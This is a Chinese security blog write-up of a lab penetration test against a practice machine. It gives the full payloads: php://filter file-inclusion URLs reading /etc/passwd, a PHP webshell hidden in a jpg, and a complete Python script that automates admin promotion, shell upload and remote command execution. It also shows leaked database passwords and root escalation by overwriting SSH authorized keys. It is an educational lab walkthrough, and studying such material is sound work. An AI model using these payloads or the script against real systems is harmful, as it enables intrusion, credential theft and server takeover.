freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次漏洞挖掘渗透实战
2022-01-01 20:12:35
所属地 云南省

本文从一次靶机渗透开始,其间涉及到了php代码审计的思路、流程及方法,通过代码审计挖掘了靶机存在的漏洞,最终利用该漏洞拿下靶机并成功提权。渗透过程具有一定的代表性,下面开始此次渗透之旅。

信息收集

老规矩,先来一波端口扫描,顺便整理下渗透思路;

nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.135

从端口看只能从web开始了;在看下目录,有没有特别的敏感信息;

./gobuster dir -u http://10.10.11.135/ -w /usr/share/dirb/wordlists/small.txt -t 50 -x php

并没有特别发现,这时候就考验渗透经验和功底的积累了(可以使用xray配合着做些辅助的发现),打开网页看看;

只提供了登录,并没有注册页面。

漏洞挖掘

文件包含

在翻看image.php页面时,发现一个有趣的地方,我们看到 image.php 没有给出任何错误或重定向。可能这个页面可以接收一些 get 或 post 参数,因为当我们通过图像上传任何 phpshell 时,它也需要参数,如果我们不传递任何参数,它们会给我们这样的空白页面。

1640963987_61cf1f935397fe71a3b6c.png!small?1640963986573

下面用wfuzz来测试一下;

运气不错,在看看是否是本地包含;

存在waf,使用php伪协议来尝试绕过;

http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd

http://10.10.11.135/image.php?img=php://filter/read=convert.base64-encode/resource=/etc/passwd 这个也是可以的。

接下来还需要寻找上传点或敏感文件来实现进一步的渗透。

代码审计

既然可以进行文件读取,下面就将网站的源码下载下来进行代码审计。

curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d

在第三处划线的地方提交数据时可以改变角色,可能存在越权漏洞;

header.php

role的参数为1时,出现Admin panel。

db_conn.php

<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

发现了root的账号密码,有点激动,尝试了一下失败。。。

在看下upload.php

上传路径、上传后文件名的生成方式都有了,上传条件;

admin_auth_check.php

1640958386_61cf09b2237cf4701064c.png!small?1640958385415

检查role是否等于1,表示有管理员的权限。

接下来问题在于网页并没有开放注册接口,需要我们自己寻找已存在的账号密码;结合前面获取的/etc/passwd文件,逐个尝试,最后发现了一组可以利用的账号和密码;

登录后出现提示;

明显可知是需要进行越权操作的,下面来寻找越权点;

利用账号登录后发现;

1640958859_61cf0b8b75792b049a886.png!small?1640958858769

可以修改用户的属性,感觉离越权成功更近了;查看下源码;

profile.php

1640958996_61cf0c14c2bdb3652a418.png!small?1640958996100

profile.js

1640959103_61cf0c7f78e4fe2ae077a.png!small?1640959102790


profile_update.php

1640959262_61cf0d1ea0135bc4e82b6.png!small?1640959262040

越权的核心就在这里了,可以看到如果我们提交role=1,它就会设置会话角色 id=1。

下面我们用burp来抓包、改包后实践我们的想法;

1640959467_61cf0deb544f209536d25.png!small?1640959466637

抓包并添加role;

回到home在刷新下页面;

可以看到新多出来一个 Admin Panel;

点进去发现存在可以上传的地方;

重新在看下upload.php;

然后我们看到上传文件的过程
1.检查是否为jpg
2.它用md5哈希创建一个文件名
3. 在 md5 函数中,它使用 $file_hash 变量来传递字符串,字符串用单引号(php中字符串用单引号和双引号都可以,但是是有区别的,单引号表示原始字符串不转义,双引号表示的是可转义的字符串)
4.但时间函数是返回动态值
5.然后是file_name

可以写个脚本来模拟文件的生成过程;

<?php
$upload_dir = "images/uploads/";
$file = "shell.jpg";

while(true){
    $file_name = md5('$file_hash'. time()) . '_' . $file;
    $target_file = $upload_dir . $file_name;
    echo $file_name;
    echo PHP_EOL;
    sleep(1);
}
?>

测试一下;

弄清楚整个过程后下面开始上传文件;

1、创建图片文件 dedsec.jpg ,内容为:

<?php system($_GET[dedsec]);?>

2、运行脚本 exploit.py

import time
import hashlib

while True:
    print(f"hash = {hashlib.md5('$file_hash'.encode()+str(int(time.time())).encode()).hexdigest()}")
    time.sleep(1)

python3 exploit.py

3、上传文件dedsec.jpg

4、根据生成的hash值穷举下文件名;

成功发现了我们上传的shell。

至此,已经初步得到了服务器的webshell权限,回看整个代码审计过程,难度不大,但逻辑严谨,思维上没有特别大的跳跃,思路和方法值得借鉴,下面在给个直接拿webshell的脚本。

#!/bin/python3


import base64
import sys
import subprocess
import re
import requests

session = requests.Session()
file_target = []
valid_file = []

def pretty_headers(header):
    """Creates a header for clearer output."""
    print("\n" + ("-" * 75))
    print(header)
    print("-" * 75)

def get_admin():
    """Promote user to admin."""
    params_post = {"firstName":"test","lastName":"test","company":"test","role":"1","email":"test"}
    session.post("http://10.10.11.135/profile_update.php", data=params_post)

def new_session():
    """Create session."""
    params_get = {"login":"true"}
    params_post = {"user":"aaron","password":"aaron"}
    session.post("http://10.10.11.135/login.php", data=params_post, params=params_get)

def generate_filename():
    """Generates filename."""
    while True:
        command = "/usr/bin/php -r \"\$file_hash=uniqid(); \$file_name=md5('\$file_hash' \
        . time()) . '_' . basename('test.jpg'); echo \$file_name;\""
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
        hash_value = proc.stdout.read().decode("utf-8")
        hash_value = hash_value.replace('\n', '')
        file_target.append(hash_value)
        upload_file()
        if check_file():
            valid_file.append(hash_value)
            return

def upload_file():
    """Uploads webshell. Intended to be called during filename generation, as it is time()
    dependent."""
    params_multipart = [('fileToUpload', ('test.jpg', "<?php system($_GET['cmd']); ?>", \
        'image/jpeg'))]
    session.post("http://10.10.11.135/upload.php", files=params_multipart)

def check_file():
    """Checks to see if a valid response is returned after upload. Parses the file_target array."""
    for r in file_target:
        url = "http://10.10.11.135/images/uploads/"+r
        response = session.get(url)
        if response.status_code != 404:
            return True

def php_include(cmd):
    """Passes cmd to web shell, returns response."""
    filename = valid_file[0]
    params_get = {"cmd":cmd}
    response = session.get("http://10.10.11.135/image.php?img=images/uploads/"+filename, \
        params=params_get)
    decoded = response.content.decode("utf-8")
    print(decoded)

def lfi_menu():
    """Menu for LFI input."""
    while True:
        prompt = input("Path to file: ")
        pretty_headers("Now displaying: " + prompt)

        if prompt == "exit":
            return False

        lfi_read(prompt)

def lfi_read(prompt):
    """Defines logic for decoding base64 lfi response."""
    params_get = {"img":"php://filter/convert.base64-encode/resource="+prompt}
    response = session.get("http://10.10.11.135/image.php", params=params_get)
    try:
        decoded = base64.b64decode(response.content)
        decoded = decoded.decode("utf-8")
        decoded = decoded.replace('\\n', '\n').replace('\\t', '\t')
        print(decoded)
    except:
        print("Something went wrong. Probably not a base64 response.")

def pseudo_shell():
    """Generates a poor-man's terminal."""
    generate_filename()
    pretty_headers("Shell uploaded to: http://10.10.11.135/images/uploads/"+valid_file[0])
    while True:
        prompt = input("www-data@10.10.11.135$ ")
        if prompt == "exit":
            return False
        php_include(prompt)

def menu():
    """The menu."""
    new_session()
    get_admin()
    while True:
        pretty_headers("Main Menu")
        print("[1] LFI / Arbitrary Read")
        print("[2] Pseudo-shell (www-data)")
        print("[3] Exit")
        choice = input("Selection: ")
        if validate_menu(choice):
            if choice == "1":
                lfi_menu()
            if choice == "2":
                pseudo_shell()
            if choice == "3":
                return False
    sys.exit()

def validate_menu(choice):
    """Validating user input."""
    if re.search('[123]', choice):
        return True
    print("[!] Invalid menu option. Exiting.")
    return False

menu()

脚本运行截图;

这里根据个人喜好,可以上传反弹脚本或者webshell,在用工具去连接都可以。

GitTools

在靶机上翻了许久,终于发现了一个备份文件 source-files-backup.zip,下载回本地来研究下;

cp+/opt/source-files-backup.zip+/var/www/html/

解压后;

发现有.git目录;联想到git源码泄露,先后尝试了GitHack、dvcs-ripper,最终使用GitTools有所收获(工具的具体用法教程很多,这里不再赘述。)

最终发现了2个密码;

cat 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php && cat 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');

其中一个尝试ssh登录成功;

提权

取得普通用户的权限后,下面尝试提权;

常规的套路是上linPEAS脚本看看,这里可以先手动排查下;

很明显,提权就靠这个程序了;

测试下基本功能;

就是一个用来下载文件的程序,特殊之处在于程序可以以root权限运行,这里提供一种提权的思路;

1、靶机上把ssh的公钥认证文件映射出来;

1640963153_61cf1c5112c8d942367ed.png!small?1640963152362

2、本机生成ssh公、私钥对;

3、利用具有root权限的程序去覆盖映射出来的公钥认证文件,实现ssh免密登录;

本地搭个http服务器;

cp id_rsa.pub /root/Desktop/keys

1640963194_61cf1c7aafb7c62c994d6.png!small?1640963194057

之后利用私钥登录就可以了;

1640963313_61cf1cf12d162c0c15604.png!small?1640963312490

至此,整个渗透过程到这里就结束了,其间涉及到的一些渗透思路及小方法还是值得回味的。


# 代码审计 # 越权漏洞 # 文件包含漏洞 # Sudo提权 # git源码泄露
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录